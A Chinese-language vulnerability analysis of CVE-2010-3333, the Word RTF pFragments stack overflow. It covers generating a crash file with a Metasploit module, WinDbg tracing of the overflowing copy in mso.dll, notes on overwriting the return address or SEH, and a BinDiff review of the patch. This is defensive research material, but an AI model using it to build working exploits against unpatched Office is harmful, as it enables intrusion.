CVE-2010-3333漏洞是一个栈溢出漏洞,该漏洞是由于Microsoft word在处理RTF数据的对数据解析处理错误,可被利用破坏内存,导致任意代码执行。

首先使用metsaploit生成crash poc

msf > search CVE-2010-3333
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > show options
Module options (exploit/windows/fileformat/ms10_087_rtf_pfragments_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(ms10_087_rtf_pfragments_bof) > info
Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09
Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA
Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Payload information:
Space: 512
Avoid: 1 characters
Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life.
References:
http://cvedetails.com/cve/2010-3333/
http://www.osvdb.org/69085
http://technet.microsoft.com/en-us/security/bulletin/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > run
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf
msf exploit(ms10_087_rtf_pfragments_bof) >

分析

直接打开后发生访问违例

rep movs dword ptr es:[edi], dword ptr [esi]是把esi指向的内存拷贝ecx个大小到edi指向的内存中,可以看出异常是因为拷贝的目的地址为READONLY,看到调用栈也被破坏了,所以是一个在mso.dll中发生的栈溢出漏洞。

然后在30ed442c下短点,看调用栈。先用sxe ld:mso在mso被加载的时候断下,再下30ed442c的断点,然后看调用栈。

0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00123ea8 30f0b56b 00124014 00000000 ffffffff mso!Ordinal1246+0x16b0
00123ed8 30f0b4f9 00124060 00124014 00000000 mso!Ordinal1273+0x2581
00124124 30d4d795 00000000 00124164 00000000 mso!Ordinal1273+0x250f
0012414c 30d4d70d 30d4d5a8 00f114dc 00f11514 mso!Ordinal5575+0xf9
00124150 30d4d5a8 00f114dc 00f11514 00f113c4 mso!Ordinal5575+0x71
00124154 00f114dc 00f11514 00f113c4 30dce40c mso!Ordinal4099+0xf5
00124158 00f11514 00f113c4 30dce40c 00000000 0xf114dc
0012415c 00f113c4 30dce40c 00000000 00f11128 0xf11514
00124160 30dce40c 00000000 00f11128 00124f10 0xf113c4
00124164 00000000 00f11128 00124f10 00000000 mso!Ordinal2940+0x1588c

然后在调用者下断点bp mso!Ordinal1273+0x25d8

000> t
eax=30da33d8 ebx=05000000 ecx=00123e98 edx=00000000 esi=00f11100 edi=00124060
eip=30f0b5f8 esp=00123e7c ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal1273+0x260e:
30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406
0:000> dds eax
30da33d8 31242763 mso!Ordinal3247+0x2f
30da33dc 30e7bc33 mso!Ordinal2616+0x26c
30da33e0 30ef0964 mso!Ordinal1010
30da33e4 3124278c mso!Ordinal3247+0x58
30da33e8 312427a4 mso!Ordinal3247+0x70
30da33ec 30f1c4bc mso!Ordinal2200+0x9ed
30da33f0 30d20504 mso!Ordinal379+0x1e6
30da33f4 30ed4406 mso!Ordinal1246+0x168a
30da33f8 30e652fc mso!Ordinal3403+0x829
30da33fc 30e83d38 mso!Ordinal985+0x60e
30da3400 312427fc mso!Ordinal3247+0xc8
30da3404 30e65344 mso!Ordinal3403+0x871
30da3408 30e82c90 mso!Ordinal1959+0x256
30da340c 30fb6964 mso!Ordinal1319+0x3a
30da3410 31242814 mso!Ordinal3247+0xe0
30da3414 30e7598b mso!Ordinal1418+0x213c
30da3418 30e75961 mso!Ordinal1418+0x2112
30da341c 30f392da mso!Ordinal3288+0x8c7
30da3420 312428c3 mso!Ordinal3247+0x18f
30da3424 90909090
30da3428 30da34a0 mso!Ordinal2841+0x82fc
30da342c 30da3558 mso!Ordinal2841+0x83b4
30da3430 30da3620 mso!Ordinal2841+0x847c
30da3434 30da37a0 mso!Ordinal2841+0x85fc
30da3438 30da3970 mso!Ordinal2841+0x87cc
30da343c 30da3c80 mso!Ordinal2841+0x8adc
30da3440 30da3f18 mso!Ordinal2841+0x8d74
30da3444 30da42c8 mso!Ordinal2841+0x9124
30da3448 30da4650 mso!Ordinal2841+0x94ac
30da344c 30da48a8 mso!Ordinal2841+0x9704
30da3450 30da49b0 mso!Ordinal2841+0x980c
30da3454 30da4b18 mso!Ordinal2841+0x9974

此时eax是虚表指针,接着程序会调用mso!Ordinal1246+0x168a跟进去看看。

0:000> t
eax=00f11100 ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123e98
eip=30ed4427 esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16ab:
30ed4427 8bc1 mov eax,ecx
0:000> t
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123e98
eip=30ed4429 esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16ad:
30ed4429 c1e902 shr ecx,2
0:000> t
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123e98
eip=30ed442c esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

拷贝大小为0xc8ac,因为是dword拷贝,所以拷贝0xc8ac >> 2 = 0x322b次。


可以看到ecx为长度,esi对应的内存为样本中的payload。

0:000> dd edi
00123e98 3ff7ea64 05000000 00000000 80004006
00123ea8 00123ed8 30f0b56b 00124014 00000000
00123eb8 ffffffff 00000000 00f114f4 001244f8
00123ec8 00124164 00124f10 00124188 00000000
00123ed8 001240bc 30f0b4f9 00124060 00124014
00123ee8 00000000 00f114f4 00124164 001244f8
00123ef8 00000000 ffffffff ffffffff ffffffff
00123f08 00000000 20000000 00000101 00000000

其中第二十字节30f0b56b为上层函数返回地址,所以21-24字节可以覆盖返回地址。不过栈上空间有DEP保护,无法执行代码。所以可以覆盖SEH来完成代码执行。

patch diff

使用bindiff看一下

发现这一坨应该就是处理越界长度的代码

eax为poc中pFragment的长度,可以看到如果大于4则跳转不进行复制。